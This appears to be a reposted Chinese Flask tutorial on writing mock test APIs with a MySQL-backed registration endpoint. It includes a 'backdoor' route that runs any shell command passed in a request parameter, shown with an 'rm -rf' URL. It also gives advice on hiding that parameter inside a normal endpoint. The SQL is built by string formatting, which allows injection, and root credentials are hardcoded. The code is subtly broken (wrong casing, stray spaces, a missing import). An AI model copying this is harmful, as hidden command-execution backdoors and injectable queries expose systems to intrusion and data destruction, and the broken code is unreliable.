本文实例为大家分享了python学习开发mock接口的具体步骤,供大家参考,具体内容如下
#1.测试为什么要开发接口?
1)在别的接口没有开发好的时候, mock接口(模拟接口)
2)查看数据, 避免直接操作数据库
#2.开发接口的顺序
1)安装flask
flask是一个轻量级开发框架
pip install flask
2)开发一个接口
开发步骤:
1.实例化一个服务server:flask.flask(__name__)
2.函数前加装饰器@server.route(), 将函数变为一个接口
3.启动服务server:server.run()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
import flask,json,pymysql server = flask.flask(__name__) #__name__代表当前python文件, 把当前python文件当成一个服务 def opt_db(sql): coon = pymysql.connect( host = '192.168.109.132' , user = 'root' , passwd = '123456' , db = 'besttest' , port = 3306 , charset = 'utf8' ) #建立db链接 cur = coon.cursor() #建立游标 cur.execute(sql); #执行sql if sql.strip()[: 6 ].upper() = = 'select' : res = cur.fetchall() #获取sql返回 else : coon.commit() res = 'ok' cur.close() #关闭游标 coon.close() #关闭db链接 return res #get请求, 请求路径ip:port/index @server .route( '/index' ,methods = [ 'get' ]) #装饰器,代表index函数是一个接口,支持get请求(默认get请求) def index(): res = { 'msg' : '这是我开发的第一个接口' , 'msg_code' : '0' } return json.dumps(res,ensure_ascii = false,indent = 4 ) #post请求, 请求路径ip:port/reg @server .route( '/reg' ,methods = [ 'post' ]) #装饰器,代表reg函数是一个接口,支持post请求(可以同时支持get、post请求) def reg(): username = flask.request.values.get( 'username' ) #获取接口入参 pwd = flask.request.values.get( 'passwd' ) if username and pwd: sql = 'select * from syz_stu where username="%s";' % username if opt_db(sql): res = { 'msg' : '用户已存在' , 'msg_code' : 2001 } #2001用户已存在 else : insert_sql = 'insert into syz_stu (username,passwd) values ("%s","%s");' % (username,pwd) opt_db(insert_sql) res = { 'msg' : '注册成功' , 'msg_code' : '0' } else : res = { 'msg' : '必填字段未填, 请查看接口文档' , 'msg_code' : 1001 } #1001必填字段未填 return json.dumps(res,ensure_ascii = false,indent = 4 ) |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
#后门接口 @server .route( '/error' ,methods = [ 'post' ]) #路由,访问地址为----ip:端口/error def cmd(): cmd = flask.request.values.get( 'cmd' ) #接口的入参 res = os.popen(cmd) #执行用户命令 return res.read() #返回执行结果 #http://127.0.0.1:8999/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除系统文件 #隐蔽一点的方法,把cmd = flask.request.values('cmd',none)写入正常接口 # 默认可以不传,一但传了再res = os.popen(cmd) server.run(port = 6688 ,debug = true,host = '0.0.0.0' ) #启动服务,接口才能访问 # port=6688指定端口为6688 # debug=true设置代码修改后服务自动重启 # host='0.0.0.0'设置同一局域网的可以访问 # server.run() 必须在所有接口定义完后再定义, 否则, server.run()检测不到之后定义的接口, 接口是无法被运行的 |
运行以上代码,打开浏览器,请求http://localhost:6688/index,将看到返回{'msg': '这是我开发的第一个接口', 'msg_code': 0}
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持服务器之家。
原文链接:https://blog.csdn.net/sylvia2016/article/details/80397364